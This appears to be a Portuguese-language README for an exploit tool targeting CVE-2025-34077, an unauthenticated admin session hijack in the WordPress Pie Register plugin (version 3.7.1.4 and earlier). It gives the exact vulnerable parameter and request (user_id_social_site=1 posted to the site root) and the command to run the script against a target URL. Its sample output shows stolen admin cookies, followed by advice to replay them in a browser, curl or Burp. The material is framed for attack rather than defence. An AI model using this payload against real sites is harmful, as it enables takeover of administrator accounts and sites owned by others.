CVE-2025-34077 — WordPress Pie Register ≤ 3.7.1.4 - Escalação de Privilégio de Admin (Não Autenticado)

💀 Autor

Mrj Haxcore

🧠 Resumo da Vulnerabilidade

O plugin Pie Register para WordPress (versão ≤ 3.7.1.4) expõe um endpoint não autenticado que permite a um invasor sequestrar sessões de admin simplesmente enviando um payload específico via POST.

A exploração resulta no roubo dos cookies de sessão do usuário ID 1 (geralmente admin) sem necessidade de credenciais de login.

---

📦 Software Afetado

• Nome do Plugin: Pie Register
• Versão: <= 3.7.1.4
• Plugin Slug: pie-register
• Página do Plugin
• Link de Download Vulnerável

---

📬 Parâmetro Vulnerável:

user_id_social_site=1 Quando enviado para a URL raiz (/), este parâmetro faz com que o plugin autentique o invasor como o usuário com ID 1 (tipicamente admin), e emita cookies de sessão válidos.

---

🔧 Requisitos

• Python 3.x
• requests, beautifulsoup4 (opcional, para parsing de cookies)

▶️ Executar o Exploit

python3 pie.py http://target.site

---
Saída
[*] Sending payload to hijack admin session...

[+] Successfully hijacked cookies for user_id=1 (admin):
    wordpress_sec_xxxxxx = <cookie_value>
    wordpress_logged_in_xxxxxx = <cookie_value>

[!] Use estes cookies no seu navegador ou ferramentas como curl ou Burp para agir como admin.